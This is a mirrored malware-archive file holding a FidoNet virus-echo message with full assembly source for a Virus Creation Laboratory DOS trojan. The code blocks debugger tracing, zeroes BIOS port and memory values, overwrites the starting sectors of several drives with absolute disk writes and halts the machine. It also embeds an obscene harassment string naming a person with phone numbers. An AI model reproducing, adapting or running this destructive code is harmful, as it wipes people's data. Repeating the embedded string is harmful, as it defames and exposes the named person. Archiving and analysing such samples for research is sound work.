mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
133 lines
5.6 KiB
NASM
133 lines
5.6 KiB
NASM
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
|
||
; Msg : 10 of 54
|
||
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11
|
||
; To : - *.* - Fri 11 Nov 94 08:10
|
||
; Subj : VCLMIKES.ASM
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;.RealName: Max Ivanov
|
||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;* Kicked-up by MeteO (2:5030/136)
|
||
;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
|
||
;* From : Ron Toler, 2:283/718 (06 Nov 94 16:27)
|
||
;* To : Viral Doctor
|
||
;* Subj : VCLMIKES.ASM
|
||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;@RFC-Path:
|
||
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
||
;18.n283!not-for-mail
|
||
;@RFC-Return-Receipt-To: Ron.Toler@f718.n283.z2.fidonet.org
|
||
; MIKESICA.ASM -- Mike Sica v1.0
|
||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||
; Written by Digital Justice
|
||
|
||
virus_type equ 3 ; Trojan Horse
|
||
is_encrypted equ 0 ; We're not encrypted
|
||
tsr_virus equ 0 ; We're not TSR
|
||
|
||
code segment byte public
|
||
assume cs:code,ds:code,es:code,ss:code
|
||
org 0100h
|
||
|
||
start label near
|
||
|
||
main proc near
|
||
stop_tracing: mov cx,09EBh
|
||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||
jmp $-2
|
||
add ah,03Bh ; AH now equals 025h
|
||
jmp $-10 ; Execute the HaLT
|
||
mov bx,offset null_vector ; BX points to new routine
|
||
push cs ; Transfer CS into ES
|
||
pop es ; using a PUSH/POP
|
||
int 021h
|
||
mov al,1 ; Disable interrupt 1, too
|
||
int 021h
|
||
jmp short skip_null ; Hop over the loop
|
||
null_vector: jmp $ ; An infinite loop
|
||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||
out 021h,al ; If tracing then lock keyboard
|
||
|
||
mov ah,0Fh ; BIOS get video mode function
|
||
int 010h
|
||
xor ah,ah ; BIOS set video mode function
|
||
int 010h
|
||
|
||
mov dx,0045h ; First argument is 69
|
||
push es ; Save ES
|
||
mov ax,040h ; Set extra segment to 040h
|
||
mov es,ax ; (ROM BIOS)
|
||
mov word ptr es:[013h],dx ; Store new RAM ammount
|
||
pop es ; Restore ES
|
||
|
||
mov si,0001h ; First argument is 1
|
||
push es ; Save ES
|
||
xor ax,ax ; Set the extra segment to
|
||
mov es,ax ; zero (ROM BIOS)
|
||
shl si,1 ; Convert to word index
|
||
mov word ptr [si + 0407h],0 ; Zero LPT port address
|
||
pop es ; Restore ES
|
||
|
||
mov si,0001h ; First argument is 1
|
||
push es ; Save ES
|
||
xor ax,ax ; Set the extra segment to
|
||
mov es,ax ; zero (ROM BIOS)
|
||
shl si,1 ; Convert to word index
|
||
mov word ptr [si + 03FEh],0 ; Zero COM port address
|
||
pop es ; Restore ES
|
||
|
||
mov ax,0002h ; First argument is 2
|
||
mov cx,0064h ; Second argument is 100
|
||
cli ; Disable interrupts (no Ctrl-C)
|
||
cwd ; Clear DX (start with sector 0)
|
||
trash_loop: int 026h ; DOS absolute write interrupt
|
||
dec ax ; Select the previous disk
|
||
cmp ax,-1 ; Have we gone too far?
|
||
jne trash_loop ; If not, repeat with new drive
|
||
sti ; Restore interrupts
|
||
|
||
cli ; Clear the interrupt flag
|
||
hlt ; HaLT the computer
|
||
jmp short $ ; Just to make sure
|
||
|
||
mov cx,0045h ; First argument is 69
|
||
jcxz beep_end ; Exit if there are no beeps
|
||
mov ax,0E07h ; BIOS display char., BEL
|
||
beep_loop: int 010h ; Beep
|
||
loop beep_loop ; Beep until --CX = 0
|
||
beep_end:
|
||
|
||
|
||
mov ax,04C00h ; DOS terminate function
|
||
int 021h
|
||
main endp
|
||
|
||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||
|
||
|
||
note db "!! Written By Mike Sica !!"
|
||
db "I Suck Big Phat Hairy Cocks!!"
|
||
db "Call Anytime Phor Good Head:"
|
||
db "794-0533 or 794-3626"
|
||
db "Both In The 804 Area Code!!"
|
||
|
||
finish label near
|
||
|
||
code ends
|
||
end main
|
||
|
||
;-+- GEcho 1.10+
|
||
; + Origin: Data Fellows BBS (2:283/718)
|
||
;=============================================================================
|
||
|
||
;Yoo-hooo-oo, -!
|
||
;
|
||
;
|
||
; þ The MeÂeO
|
||
|
||
;/x Include false conditionals in listing
|
||
;
|
||
;--- Aidstest Null: /Kill
|
||
; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
|
||
|